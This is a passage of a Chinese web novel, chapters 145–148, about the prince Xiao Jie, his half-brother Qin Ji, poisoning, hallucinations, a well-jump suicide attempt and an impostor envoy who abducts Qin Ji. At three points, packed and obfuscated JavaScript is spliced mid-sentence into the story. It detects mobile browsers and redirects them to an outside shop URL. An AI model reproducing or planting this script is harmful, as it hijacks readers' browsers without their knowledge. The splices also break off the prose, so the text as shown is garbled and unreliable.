“段映蓝还有个儿子。”萧恒道,“西琼信奉双神,女为马面男为豹,此子便叫做段元豹。但兄妹所生,估计和她第一个儿子一样,智力有些毛病。” 萧恒顿一顿,“奉皇八年,段映蓝建设神祠,据推测,应该就是为段元豹造神。且她与段藏青多年情睦,她很可能想拥护段元豹做西琼的少主,可又忌惮你阿耶的势力,故而忌惮这个名正言顺的继承人。” 萧恒看他神色不对,安抚道:“你别急,先向你阿耶说明状况。如果秦少公真的用药,你阿耶不可能没有一丝察觉。而且他对段映蓝如此纯孝,说明段氏待他很好。能有此身手,说不定他真的是天赋异禀。” 萧恒顿一顿,“但他受过私剑一类的训练,不会错。” 萧玠有点茫然,“那现在该怎么办?” “当务之急是为他检查身体。”萧恒道,“影子中人种观音手必须开背,如果他后背有伤,八九不离十。” *** 萧玠在深夜返回东宫。 瑞官打着灯笼在门外等候,一见他忙快步迎来。萧玠立即问:“阿寄回来了吗?” 他虽如此问,却已抱着遣东宫卫队寻人的打算。不料瑞官道:“回来了。” 萧玠脚步猛地刹住,问:“回来了?他情况如何?” “少公看起来……和平时无异。” 萧玠心里一个咯噔。 如果秦寄要烧要砸甚至要杀他,都在萧玠预期之内。但如此偃旗息鼓,太不正常。 他让瑞官退下,自己踏上阶去。 *** 萧玠推开殿门,月光涌入门内,在半空投下一道跳跃轻尘的光束。他蹑步而入,却没看到秦寄身影。 萧玠心中叹口气,这两天波折不断,实在心力交瘁,这就要脱鞋上榻。 揭开锦被时,萧玠无声叫起,一下子跌在地上。 被中,是段映蓝已经冷透的身体。 但张着嘴巴,睁着眼睛。 145.第 145 章 萧玠攀紧床幌时听到靴底落地的轻响。 从房梁上跳下一个秦寄。 她死前看到的最后一个人是你。秦寄冷冷说,那她会盯着你,直到你死。 扑地一声,秦寄的身形在一股青烟里消失了。 萧玠要喊他,整个人却被段映蓝的尸香占满。浓香阵阵里,她盯着萧玠从床上爬起来。浑身银饰作响,形成一阵冥器摇动之声。 我不怕你,萧玠想,就算你睁着眼化成厉鬼,我也能再杀你一次。你毁了我。毁了本该是我终身的依靠,和我本能修复的手足关系。你毁我毁到这种地步,我为什么不能杀你? 你杀我,因为你怨毒。 段映蓝似乎听到他心中所想。她的音色很独特,像一道哧哧啦啦的刀锈: 你嫉妒秦寄是我和秦灼正大光明的儿子,你怨恨我把你阿耶夺走,你觉得是我拆散了你的家庭。你过不好,也不想他们好过。哪怕他们爱你——你敢说我的儿子你的兄弟不爱你?爱屋及乌也好手足之情也罢,他不爱你,你早就烂成一把骨头了。 萧玠盯着她满月般的面庞流下眼泪。 或许因为恐惧,或许因为愤恨,或许只是被她说中了。 他嫉妒秦寄,像当年嫉妒秦皎。哪怕他们几次三番救他的命,但他敢说想起秦寄承欢秦灼膝下的时候,心里没有一丝怨怼吗? 段映蓝声如纶音,一遍遍冲刷他的大脑重塑他的认知。 萧玠彻悟,然后绝望。 我真的嫉妒阿寄,怨恨阿寄。 我的家庭破碎,所以我打碎他的家庭。 我活在地狱里,所以我把他拉进地狱。 原来是这样。 你太歹毒——段映蓝的判断声里萧玠想,我太歹毒了。 下一刻,段映蓝指甲尖尖的双手掐在他脖子上。她惨白的脸皮贴在面前,用死亡的腔调喊道:你害死了我,萧玠,你让你阿耶变成鳏夫,让你的兄弟丧母,你是个罪大恶极的孽障—— 她的指甲像匕首一样划破萧玠脖颈。那已经变成一双少年的手。段映蓝死去的头颅上张出秦寄的脸。秦寄叫道,萧玠,你杀了我娘,你这个猪狗不如的东西,我救条狗胜过救你! 萧玠,萧玠——萧玠! 偿命。偿命。偿命—— 剧烈挣扎间,萧玠听见一道天雷劈在头顶,整个人猛地一抖。他发现自己脑袋撞在床幌上,一双手掐住脖颈。 是秦寄。 秦寄已经翻身坐起,掐着他脖子将他压在身下。被子掀开一角,散发出近似段映蓝身体的阵阵幽香。 又发病了吗? 萧玠仰脸凝视秦寄,神情迷茫。上方,秦寄衣襟散开,露出胸膛至小腹处结实的肌肉,太阳耳坠贴在脸畔,为他铁青脸颊涂抹两道虚无的暖色。 “半夜爬我的床,皇太子这么饥不择食了吗?”他掐着萧玠的脖子说,“看清楚,我不是郑绥。” 这个名字刺穿萧玠心脏之时也刺破重重迷雾。萧玠清醒了。他急忙叫道:“我没有……我不是!” 秦寄扫了扫自己衣衫,扼得萧玠头几乎栽到床下,冷笑道:“那你就是找死。” 萧玠渐渐喘不上气:“我……我来看看你的伤,阿寄,你让我……瞧一瞧……” 鲜血再度晕染他颈上纱巾之际,秦寄扭过他的脸放开他,很嫌恶地看向被他血迹濡湿的手指,一把脱掉中衣扔到床下。 这是一副少年躯干,骨肉均匀,线条坚硬。湛青月色下,他浑身大小伤疤毕露无疑。 比起一个金尊玉贵的储君的身体,这更像一具杀手的身体。 萧玠仔细看他背部,的确没有开背的痕迹。 段映蓝的确没给他种过观音手,就算她忌惮阿耶,秦寄到底是她的亲生儿子。 “看够了吗?” 秦寄打断了他的思绪。少年冰冷道:“等着我掐死你吗?” 萧玠应一声,慢慢从床上爬下去,行尸走肉般晃出门。跨过门槛时,室内突然发出一声巨响,似乎是什么东西被掼裂在地。 他脚步一顿,还是抬步走下台阶。 秋童候在庭中,忙迎上前,小心翼翼道:“忙活一天,殿下也没得空吃些东西,臣叫小厨房煮点汤面吃吧?” 萧玠摇摇头,“我去诵经。” 话罢,他抬首看向天上明月,像仰望一口吞吐夜色的倒悬之井。 萧玠道:“请太医来一趟吧。” *** 太医抵达时已至中夜,皇太子仍在跪经。他捻动念珠,听到竹帘外的脚步声,睁开眼睛道:“我似乎又有发病的迹象。” 接着,他叙述了刚才的幻觉。语气平静,似乎讲一件无关于己的怪事。太医倒吸冷气时,萧玠正陷入思考,又作出判断:“她不该是我的病因。” 太医问:“殿下何出此言?” “我之前见到过很多人。老师、绥郎、我妹妹,三哥也见到过几次。这些人,我对他们有愧。段映蓝不一样。” 萧玠道:“她由我亲手结果,但我始终认为她是罪有应得。哪怕杀她会让我觉得对一些人有罪……但我发病的契机,至少是见到的主角,不该是她。” 太医替他把过脉,沉吟道:“除段映蓝之死外,殿下近日有无受到大的刺激?” 萧玠一愣,点了点头。 “殿下有这个病根,一切情绪,皆能成因,大悲大喜更甚。”太医道,“臣先开些清心的方子,臣也建议,殿下再清查一遍周身之物。” 萧玠问:“也有外物导致的可能?” 太医道:“很有可能。” 萧玠颔首,摩挲念珠,道:“我还能好吗?” 他看向太医,“大梁朝不能有一个随时会变成疯子的储君。” 太医再度替他把脉,许久方道:“除去噩梦,在一些平和状态下,殿下有没有见过他们?” 萧玠默然,点了点头。 “感觉如何?” “感觉……很好。”萧玠声音有些缥缈,“他们不说话,我们都不说话。我做我的事,他们只看着我,陪着我。” 太医道:“病理难以根除。但如果无害人体,可以不把它当成病。殿下可以试着和他们相处,像跟一花一草相处一样。” 萧玠笑道:“那我岂不是通达鬼神了。” 太医道:“臣记得,这是殿下曾经的愿望。” 萧玠道:“毕生所愿。” 室内静寂片刻。萧玠跪坐不动,神魂如去。 太医正准备躬身退下,忽听萧玠问:“太医,医者以救命为己任,你是怎样看待杀生的人?” 太医拜道:“臣听闻菩萨忿怒,谓为明王。” 少顷,念珠转动声再次响起。 萧玠流下一滴眼泪。 “谢谢。”他说。 *** 太医去后,殿内诵经声止息。瑞官进来时,见萧玠已坐在镜前,手指按在脖颈的淤痕处,在发愣。 瑞官道:“我替郎君找些膏药敷一敷吧,六哥见了怕要担心。” 萧玠仍在比对指印,点点头,吩咐:“明日帮我去趟库房,看看近来落魄香有谁取用。” 瑞官答应,临去前回头瞧,萧玠仍坐在那里。铜镜中的人影粼粼而动,像个新鲜的鬼魂。 *** 瑞官在第二日去府库,晌午回禀萧玠相关事宜。详细内容,第三人无从得知。 近几日,秦寄足不出户,给水就喝,给饭就吃,全部时间都花在磨剑上。虎头匕首磨到整整九十九遍,东宫之中出现骚动。 从宫女的焦声谈论中可知,萧玠再次发病。他在批阅奏折时突然大叫,午睡时躲到橱里,蜷缩起来捂嘴哭泣。深夜时分,太医被再次惊动,据说瑞官在一地花瓶碎片中找到萧玠,食指和拇指已经被瓷片刻出血痕。 萧玠近年症状再重,也绝不至于回到伤害自己的地步。这让东宫上下重新陷入巨大恐慌。秦寄无需出户,便能听到那股骇人力量波涛汹涌地拍打每一寸墙壁,间或有一两道哭泣。美如天籁的声音。但一切美的恒理是过犹不及。东宫洋溢的报复性的美渐渐超出他的需求,变得像一次行凶或阴谋。秦寄在思考,要不要采取措施把美控制回限度之中。 以段映蓝死日为刻度,往后推到第四个夜晚,夜深人静之时,秦寄把剑磨到第二个九十九遍。这时,他听到月光注射人间的声音,咕咚一声,像一次轻盈的落水。美得过度,甚至有点撕心裂肺了。 紧接着,一道裂帛般丑陋的声音把秦寄从这无与伦比的美中惊醒。是瑞官在庭院里哭叫道:“太子殿下跳井了!” 秦寄狂奔到院中时,一眼看到盖井的大石落在地上。 瑞官哭得上气不接下气,禁卫们的跑步声逼近却还没赶到。井口无声,似乎吸纳了一个巨大的秘密。 没有任何挣扎呼吸的声音。 秦寄一把拽过井绳,在腰间绕进打住死结,冲赶来的侍卫叫道:“我先下去,听我吩咐!” 众人赶到井边时只看见飞速转动的辘轳和如蛇疾坠的绳索。空气仿佛凝结,一时间只听到井底发出的积水回音和瑞官的抽泣。 久到几乎喘不过气时,井中突然响起:“摇他上去!慢点,都慢点!” 几名侍卫偕力转动手柄,一个湿淋淋的萧玠水鬼般出井了。原本系在秦寄身上的绳子紧紧绑在他腰间。那秦寄呢? 人们手忙脚乱要拉秦寄,秦寄已经自己爬出井里。那井口太过狭窄,他骨骼已经发育完全,不得不缩骨才能到底。 关节活动的轻微声响被叫喊声盖过,瑞官大哭道:“没气了、没气了!” 【……】 他渐渐睁开眼睛,眼睛只望秦寄。秦寄面无表情地看着他,支使人把他抬回屋里。自己也不更衣,非要一个人坐在井边,像那块盖井石的同胞兄弟。 约莫一个时辰后,瑞官出门,送走太医。回到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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萧玠道:“这是令旨。” 等所有人退去,秦寄仍维持这个挟持的姿势。萧玠看着他,道:“我知道前两天的落魄香,是你给我下的。” “你没有支用落魄香,但你以为段映蓝保存身体的名义……取了各类原料。有几种草药东宫有种,你直接挖掉了。你看似想遮掩行迹,但其实你也清楚,一定会暴露的。万一暴露在前朝……谋害太子是什么罪名,你有没有想过?” 萧玠问:“你为什么要用这种鱼死网破的方式损伤自己?” 秦寄盯着他,像看一个极度虚伪的人,冷淡道:“所以,你就要帮我动手,自己发自己的病。” 萧玠喘息一下,搬动秦寄钳住自己的手掌,让他掐住自己脖颈。 “是,你想对我做什么,我都能帮你做。”萧玠说,“你想报复我,你想看我痛苦、恐惧、发疯。都可以阿寄,都可以。” 他咳嗽两声,轻声道:“我是大梁的太子,不会对屠戮百姓的罪人心慈手软。只有我发病的时候,她才只是你阿娘,只是一个幻影。我可以为杀掉她恐惧,我可以面对她血淋淋的身形痛哭流涕。那时候我会像一个罪人一样向她伏地认罪。如果这是你想要的,如果……这样能叫你好受一点。” 萧玠终于流下眼泪,“对不起阿寄,真的对不起……是我毁了你的家庭……我知道那天晚上掐我脖子的是我,不是你。你是在掰开我的手。” 萧玠手指贴在自己脖颈处,严丝合缝地盖住那几条淡青淤痕。 他想抬嘴角,表情却不自觉抽动起来。 “这是我自己的指印。” 秦寄却勃然大怒,一把揪住他的衣领将他提起来,“所以呢萧玠,你演这出戏是要炫耀什么?炫耀我不像你一样狼心狗肺,下得了狠手杀你吗?我杀不了你,还杀不了你爹吗?” 秦寄突然放开他,居高临下地看了他一会,问:“你自己身上的东西都要这么久才察觉,萧恒呢?” “你觉得我那天捅他,只是用的匕首吗?” 萧玠一下子紧绷了,像一个束手就擒的人突然挣扎,像一条冻僵的蛇突然弹射试图袭击一样。他紧着嗓子问:“你在匕首上涂了什么?” “四日已过,时辰已至。”秦寄撑住膝盖直起腰来,“萧玠,轮到你为鱼肉了。” 在萧玠张口前,他警告道:“你最好不要用我阿娘的梓宫要挟我。不然萧恒今夜就会死。” 萧玠不再任君施为慷慨赴死了,他攀住秦寄起身,哀求道:“阿寄,阿寄我求求你,你把解药给我……我可以做个疯子,你让我做什么都可以,你把解药给我!” 秦寄问:“我要什么,你就给什么?” “是,”萧玠迅速说,“你要什么我就给什么。” 秦寄看了他一会,往后退一步,像吩咐奴隶一样命令道:“跪下。” 萧玠立即跪下。 秦寄眯起眼,从头到脚打量他一遍。接着,他俯下身,贴在萧玠耳边,吐出一句话。 天崩地裂。 146.第 146 章 一段文字材料,见于《梁秦骨血祭祀文化考》第二章“梁秦血祭考”第四节“血缘的秘密”尾注4: 萧玠秦寄接下来的一段故事被藏在历史的杂物间里,像一枚虫蛀字朽但至关重要的竹简残片,轻易造就一桩未解之谜。为跨过这团历史疑云,我们只能再次跟随《续编》一书中那位闲话奉皇事的白头宫女,尝试采取锦灰堆的形式,复原故事的部分边角。请谨记,我只负责复述和交待,对情节的敷演全靠你自己来,好吗? 下面请听好:宫女在书中问,记得我们刚刚讲过的故事吗?明帝抱上柱国灵位钻进棺材的故事。那口棺材摆在院子里。记住那个院子依旧是那个院子。那也是他和秦武公秘密的孕育之地。我记得武公要将他塞回井里时的情形,井水的碎片在武公年轻的脸上闪烁,呈现一种苔藓的光泽。而明帝被他抵在井边,居然露出一种大无畏的神情。接下来,他遣退我们,开始谈话。 你猜的对,我没有真正离开。在听到瑞官呼救奔跑而来时我崴了脚,便从不远处的葡萄藤下坐了一会(其实也有赌气心思。那天我刚和荀娘吵过架,不想和她共处一室,或者说,想她要冒险跑来找我)。揉脚时,我听到他们剧烈争执。 明帝激动得咳嗽起来,武公只是冷冷说几句。透过叶片缝隙,我看到明帝毫不犹豫地跪在那个少年人脚下。武公似乎僵硬了。接着他弯腰,俯在明帝耳边说了很短的一句话。 这个角度,我刚好能看到他们两个的脸。我看到明帝的脸霎时褪尽血色,眼睛涌出泪水。他嘴唇颤抖着,问:“你非要这么羞辱我吗?” 武公的神情冰冷且讥诮,说:“是,怎么了?还是说,你想让我拎着萧重光的人头砸到你脸上?” 我立即捂住嘴巴。宫中事变我们隐有耳闻,但我决计不敢想象,武公一个质子,居然敢拿昭帝的性命向明帝做交易。 而明帝的反应也出人意料。他没有勃然大怒,只是瑟瑟发抖,凄厉地叫道:“你是我弟弟!” 明帝几乎是瘫软在地上,连连摇头,说:“这是不对的,阿寄,这是不对的……” 武公冷笑:“如果是对的,我干嘛要奖赏你呢?我只给你五个数的时间。” 接着他开始倒数,五、四……四字刚出口就被明帝打断。明帝的脸在月色下波光粼粼,尚未擦干的头发像水草一样黏在脸畔,让他更像个鬼。他似乎被一口气梗在胸口,低声喝道: 【……】 他说萧玠,你、可、以、滚、了。 这一夜我应该探知到一桩宫闱秘辛的核心,却因为缺少对前情的了解,像拿着宝藏图的外行人,难以解谜。我姑且把这图纸的线索原模原样地背诵给你吧。 第二天轮到我去内殿值守,我的脚还是有些痛,但经过荀娘帮我敷药按揉(是的,我们昨晚和好了),行走已经无恙,便没叫她替值。 明帝有在清晨诵《父母恩重难报经》的习惯,我负责收拾他用过的供具。等我进入内殿时,没有听到诵经声,也没有闻到一丝焚香气息。佛龛前空无一人,这预示东宫发生了或即将发生一桩大事。 我心中古怪之意更盛,转头时吓了一跳。 明帝正蜷坐床上,一动不动地盯着我。 其实说盯着我,不如说他在出神地盯着某个物件,连我的活动都没把他惊觉。明帝抱着膝盖,脸贴在膝头,眼下青色很深,看上去一夜未眠。自然干透的头发有些蜷曲,水波一样贴合着身体流到榻上。他仍穿那件寝衣,皮肤却更苍白,已经远逾病气了,几乎有些尸气。我看着他,像一块从蚌壳中剥出来的死肉。 我不敢多打量,将香案上未动的香炉烛台收起来。这时候明帝突然说:“别动。” 他从床上起来,赤脚走到我面前。我忙把东西放下,低头立住。难道他昨晚发现了我,认出我是那个窥听者了吗? 我像被一盆冷水浇透,浑身动弹不得。但明帝的脚步绕过我,从香案上抱下什么东西。 他把上柱国的神主抱了下来。 明帝把神主放到地上,跪倒跟前,不说话,只流泪。我看着脚尖,只能听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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*笔者注:上述内容出自《续编》,但由于小说的虚构性质,我依旧不能确保情节真实(譬如秦寄这样敏锐之人居然没有发觉一个宫女的数次窥探,以及昭帝父子的谥号落定时间与其叙述背景决计不符)。但由于接下来的历史发展和之前有所脱节,宫女所言事,或许能成为补足关键一环的一种尝试。我们需要解释萧玠对秦寄态度的骤然转变,这是故事脉络的最后一个分叉点。 147.第 147 章 在天地你我之外不知情的其他人眼里,萧玠对秦寄的态度一夕巨变。他开始躲避秦寄,终于像一个凶手躲避受害者家属一样,有多远离多远。 南秦使者的拜帖就是在这时候送到萧玠手中的。 打开帖子,萧玠先看到丹灵侯三个大字。 算脚程,使团应该是在段映蓝初死之时赶来的……为什么是这个时间,阿耶那边的事情了结了,还是另有吩咐? 萧玠问:“丹灵侯下榻何处?” 瑞官道:“正在驿馆。” 萧玠颔首,瑞官便等他吩咐,却见他看向自己身后,神情怔愣。 瑞官掉头去看,却只见花木微微摇曳,余晖下一墙碎影。便再唤一声:“郎君。” 萧玠却问:“少公吃晚饭了吗?” 瑞官有些莫名,道:“早用过了,还多吃了一个胡饼呢。” 萧玠点点头,目光从廊下收回。他将帖子放置袖中,道:“替我套车,请尉迟将军率十健儿在外等候。” *** 秦华阳在深夜等来萧玠。 一见人,秦华阳当即拜道:“臣南秦丹灵侯秦华阳,参见梁皇太子殿下。” 萧玠摘下风帽,立即搀扶他起身,“自家兄弟,不用讲这些虚礼。” 秦华阳注视萧玠的倦容,问:“听闻殿下处死段映蓝……阿寄有没有为难你?” 这话一出,萧玠反应有些奇怪。神情一僵后,立即轻轻一笑:“无妨,杀母之仇,怨怪我也是应当。华阳千里而来,是有什么要事?” 秦华阳道:“舅舅默许阿寄离秦,其实是为了叫他避开废储风波,替他扫清后路。如今朝中事态安定,舅舅命我接阿寄回去。还有段氏的棺椁……” 他迟疑片刻,还是道:“她到底是舅舅的原配。” 萧玠点点头,“那就让阿寄为她扶灵还乡吧。” 事情敲定,秦华阳反而有些犹豫,“舅舅还想问……大梁对西琼残部的追究,要至于何处?” 这一问非同小可,所牵涉者不仅是大梁的军国机要,也是萧玠母系的家庭内务。究竟是铁面无情还是高抬贵手,其实在赐死段映蓝之时,萧玠就作出决断。 萧玠道:“华阳,除恶务尽。我焉敢叫陛下一片苦心付诸东流。” 秦华阳脸色不太好看,沉默片刻,还是道:“臣明白了。臣会依言转告舅舅,也请殿下尽早安排段氏后事,南秦犹有要务,阿寄得尽早返程。” 萧玠亦是无话。秦华阳是使节,他的态度代表了秦灼的立场。他杀了秦灼的妻子,秦灼该恨他,该后悔为什么要生下这么一个不孝的孽子。 他客气两句,就要离开,突然想起些什么,问:“阿寄在南秦……有没有喜欢的女孩?” 秦华阳被这话题转得一怔,“没听他讲起过。怎么,这小子在宫里不老实?” 萧玠笑了笑,摇摇头,“他是最讲礼数的。我只是突然想到,今年他十六岁了。” 是个大孩子了。 *** 这是月光最后一次在大梁东宫照亮秦寄。秦寄和无数个夜晚一样,依旧在打磨匕首。 最初,匕首在他手里堪称历代剑器之典范,具有最完美之怒色、最纯粹之恨形,但经过度磨砺,剑形已经扭曲,颜色也不纯粹了。 但秦寄停不下手。 秦寄进屋不习惯关门,于是听到敞开的殿门被叩了两声。 那脚步跨过门槛,终于肯走向他。 秦寄的注意力似乎被匕首吸走了,随口问:“今天不躲我了——准备秋后算账了?” 萧玠开口,像什么都没发生过:“我有件东西送给你。” 他从案上放下一把朱红大弓。 虎袭时从中断裂、如今又修补完整的落日。 萧玠道:“叫旁人修我不放心,找了两个师傅教我,自己动手修的。可能不太地道,你看看还能不能用。” 秦寄道:“这本就是我的东西。” “嗯,现在也该物归原主了。”萧玠默了一会,说,“华阳来了。” 秦寄的手停下来。 他把匕首插回靴边,拿起落日。不用看他也知道,这把弓被尽可能地悉心修补到什么样子。 秦寄问了一个似乎与秦华阳毫不相干的问题:“你不是早修好了吗?” 萧玠道:“是,那时候你总想走。我觉得有这把弓在手,能把你留一留。” 【……】 萧玠把落日往前推了推,问:“你不试试弓吗?到底断过一次,不知道弓力会损伤多少。” “你知道在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791456|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南秦,送人断过的弓箭是什么意思吗?”秦寄看向他。 “是咒人断绝一臂。” 萧玠浑身一颤,忙去拿弓,却被秦寄一把夺住。 秦寄道:“东西也好诅咒也罢,送过人,就收不回去了。” 萧玠不知道他是真话假话,但就是这句话,将他裂痕遍布的伪装彻底击碎了。 他该怎么弥补秦寄?他没法放任秦寄去杀萧恒,也不可能悖逆人伦接受这样的感情。他永远给不了秦寄想要的东西。 既然做不成一个合格的兄长,一开始就不该处处以兄长自居。 他欺骗秦寄,利用秦寄,杀了秦寄的母亲,又杀了秦寄的心。 萧玠瘫软在地,只有手被秦寄扣在弓上。他又一次跪在秦寄面前抽泣起来。 他从没想要伤害秦寄。但事实就是,他一直在伤害他。 【……】 …… 翌日,段映蓝举丧,特准归葬。其子秦寄扶灵。梁太子未至。 *** 秦寄离京没几日,萧恒便召宰相杨峥、兵部户部尚书及侍郎、左右卫大将军等入宫,再议剿灭段藏青事。 据记载,这次集会非但有萧玠旁听,确切来说,更是由他主持。这也是第一次皇帝在场但以东宫为核心召开的军事会议。 集会过程中,众人不约而同提到一件很奇怪的事。 在秦寄要挟下,段藏青被放出京,但在稳住秦寄后,禁军立即派人对其进行追捕。自长安至西琼层层戒严,关卡不可谓不严密,擒不住段藏青也就罢了,这些时日,其人竟如泥牛入海,没有分毫踪迹。 最后,萧恒沉吟片刻,道:“很可能还在城里。” 萧玠立起,躬身道:“臣立即再派金吾卫严加搜寻。” 集会至日暮结束,萧玠陪萧恒用过午饭后返回东宫。走进庭院时,正见几个莳花宫人正在刨除那棵枯梨。 近日萧玠吩咐,想种株新树,虽未想好品种,但提早清理总归不错。他们瞧见萧玠,笑着万福,又道,殿下可算回来了,有贵客递帖子求见呢。 萧玠回屋取帖,拿在手中时,油然产生一种似曾相识的古怪之感。 他打开帖子,登时睁大眼睛。 是与数日前一般无二的,秦华阳的拜帖。 148.第 148 章 秦华阳在深夜等来萧玠。 一见人,秦华阳当即拜道:“臣南秦丹灵侯秦华阳,参见梁皇太子殿下。” 还是相同的时间、情形,甚至是相同的站位和房间。这次萧玠没有摘风帽,一瞬不瞬打量秦华阳,睁大的眼睛在阴影中亮得吓人。 他问:“华阳千里而来,是有什么要事?” 秦华阳道:“朝中事态安定,舅舅叫我带阿寄回去。” 他的声音被变故切断。面前有些神经质的萧玠突然从怀里掏出一把虎头匕首,欻地刺破自己手臂。 跟在一旁的瑞官匆忙抢夺利刃,吓得哭叫道:“郎君,好郎君,您这是干什么呀?!” 臂上的剧痛如此真实,还有鲜血如蛇爬行的触感,实在不像发病的幻觉。 萧玠抬头,秦华阳虽大惊失色,却没有因他的损伤如烟消失。 萧玠问:“他是真的?” 瑞官头如捣蒜,“是真的,千真万确呀!” 萧玠叫道:“上次呢,上次是假的?他没有来过?” 瑞官抱着他哭道:“是真的呀……是真的!封宫当日黄昏送来的帖子,我替郎君收下的,替郎君套车叫人护送的……” 是真的。都是真的…… 这是怎么回事,哪里出了差错? 萧玠愣了,看向捉住自己手臂包扎的秦华阳,问:“你之前来过?” 这次换成秦华阳傻了,“臣今日才抵达长安,何来之前之说?” 萧玠问:“那是谁把阿寄接走的?” 秦华阳大惊失色,“接走?阿寄不在宫中?” 面对秦华阳愕然空白的脸,萧玠脑袋像被一道闪电击中,当日“秦华阳”模糊的脸豁然裂开,露出真面。 ——听闻殿下处死段映蓝……阿寄有没有为难你? ——舅舅还想问……大梁对西琼残部的追究,要至于何处? 他对西琼过分的关切、听闻结果后阴郁的眼神……还有,驿馆设在京畿,当日父亲为围捕段藏青,勒令全城上下戒严,秦华阳决计无法入城,如何在短短半日之内清楚段氏死讯? 自己只以为事情闹得太大,有风声传出去也实属正常,没想到…… 萧玠一下子跌坐到地上,喃喃道:“我昏了呀,我昏了呀!” 接下来半支蜡烛燃尽的时间里,秦华阳得知了发生过的、堪称诡异的一切。在他到来数日前,有一支规制相同的队伍,领头人有和他同样的身份和脸,带着同样的使命拜谒萧玠,接走寄居梁宫的秦寄。 手臂新裹纱巾上渗透的血迹,萧玠眼神似乎落定,实则穿透。 他判断道:“是段藏青。” *** 正如萧恒所料,段藏青玩得好一手灯下黑,未肯招摇南逃,反而藏匿京中。但萧玠无论如何也没想到,对方竟偷天换日,借着秦琼的联姻定有南秦礼用符印的便利,又吃准萧恒不会同秦灼公然联系,便扮作秦华阳堂皇出入,光明正大地启柩南下。 秦华阳倒吸一口冷气,“殿下还曾在私下见过他。” “彼时段映蓝尸骨仍在宫中,他不敢动我。而如今……”萧玠深吸口气,“他带走了阿寄。之前是他投鼠忌器,现在他捏住了我们的死穴。” 不管是对不死不休的大梁,还是袖手旁观的南秦,有秦寄在手,任何报复都能轻易施予。 “只怕不止。”秦华阳脸色铁青,“他和段映蓝还有一个子嗣,患有痴症。如果想让这个不正常的孩子继位掌权,那只有……” 他话还没说完,瑞官已经哭着打断:“丹灵侯你先别说了!殿下,殿下你怎么了?我去叫太医!” 秦华阳抱住萧玠,“喝道:把他扶好坐直!” 瑞官忙将萧玠扶起,秦华阳从怀中翻出一卷素囊打开,竟是一包金针! 他不加思索,于萧玠头、颈、臂、腕处连刺多个穴位,萧玠气息竟渐渐平复下来。秦华阳又倒一盏热水喂他吃过,道:“用鼻吸气,用口呼气,等气息调顺再讲话。” 片刻后,秦华阳将金针取下。萧玠感觉肺部滞涩感退去,由他扶起坐到椅中,有些意外,“华阳竟习得一手好医术。” 秦华阳道:“家父戎马多年,有些小遗症,臣便从郑翁处学了手艺,多少能加以照顾。” 萧玠点点头,正要讲话,门外便叩两声。得他应许,郑缚推门而入,脸色很不好看。 “臣奉令旨追查南秦使团下落,在京畿以南十里,发现送葬段映蓝的东宫卫队的尸首,全填在山坑里了,还有……” 他还没讲完,萧玠已经推开秦华阳,白着脸冲出门去。 *** 萧玠抵达山坳时,月亮破洞般捅在山头。在其照耀下,堆埋的尸体如同山石纹路,安静地起伏着。 浓烈的腐臭味让郑缚不由蹙眉,见萧玠仍要上前,忙将他拉开:“这里山势险峻,少有行人。又常有野兽出没,更没猎户打猎。若非夏天味道太重,只怕这两天都发现不了。” 萧玠却拂开他的手,上前翻开一具尸首。 哪怕他的身体已经肿胀,萧玠还是辨认出这是经常在庭院值守的一个男孩。很英俊,应当不过二十岁。现在他英俊的面容已经被紫色绿色的尸斑腐蚀,眼皮不能瞑合,眼球突出眼眶,血肉变成类似□□皮肤下蠕动的组织。月光下,一串水珠从萧玠面部淅淅沥沥坠落,在男孩坍塌的皮肤上,溅成玻璃碎屑的质地。 萧玠把手伸到他脸上,在郑缚阻拦前合上他的眼睛,“一共多少人?” 郑缚道:“五十四人。” 萧玠又给自己记了笔账,问:“没有发现秦少公的踪迹?” 郑缚摇头,“没有,还有所谓的南秦使团,全都不在其中。他们既然抛尸于此,战斗地点应该不会太远,但臣率人搜寻,方圆十里,没有械斗痕迹。这山坑之中也没有一个使团之人的尸体。” 那就是在无知无觉中杀的人。这些东宫卫队没有防备,压根没有还手之力。 他们带走了秦寄——他们要带秦寄去哪里? 段映蓝或许对秦寄尚有舐犊之情,但段藏青决计不会。对他而言,秦寄是他亲生子夺权的障碍,是情敌唯一的儿子。他落在段藏青手里,一定会被害死。 那段藏青会如何害死他,如何把秦寄之死发挥出最大价值? 一个可怕的猜想在萧玠脑中轰响。 如果南秦少公死于梁境,甚至死于一支“梁军”手中,大梁和南秦必有一战。 两败俱伤、不死不休的一战。 西琼不管是纯粹的报复打击,还是要坐收渔利,都是手到擒来之事。 倘若如此,他要在梁地之内杀秦寄,只怕很快就要动手——因为段藏青一定要尽快赶回西琼。而如今距离“使团”开拔已有五日有余。 萧玠身体一晃,郑缚忙要搀扶,却被另一双手岔开扶住。 这是一双很奇怪的手,有些薄茧,不像贵族保养得宜的白嫩,也不不是军旅之人练武所致粗粝。 秦灼这个外甥,恐怕不只一个富贵王侯这么简单。 郑缚腹诽之时,秦华阳似乎已知萧玠心中所想,开口劝道:“如果段藏青是孤身一人,那阿寄最大的价值就是作为复仇工具损害梁秦关系。但他有孩子。他和段映蓝唯一的孩子。如今西琼势力折损殆尽,他若要保段元豹万全,要的是活的资本而不是玉石俱焚的报复。与其杀害阿寄,他不如以其为要挟向南秦谈判。有这个活生生的少公在手,割地裂池如何不是他掌中之事。” 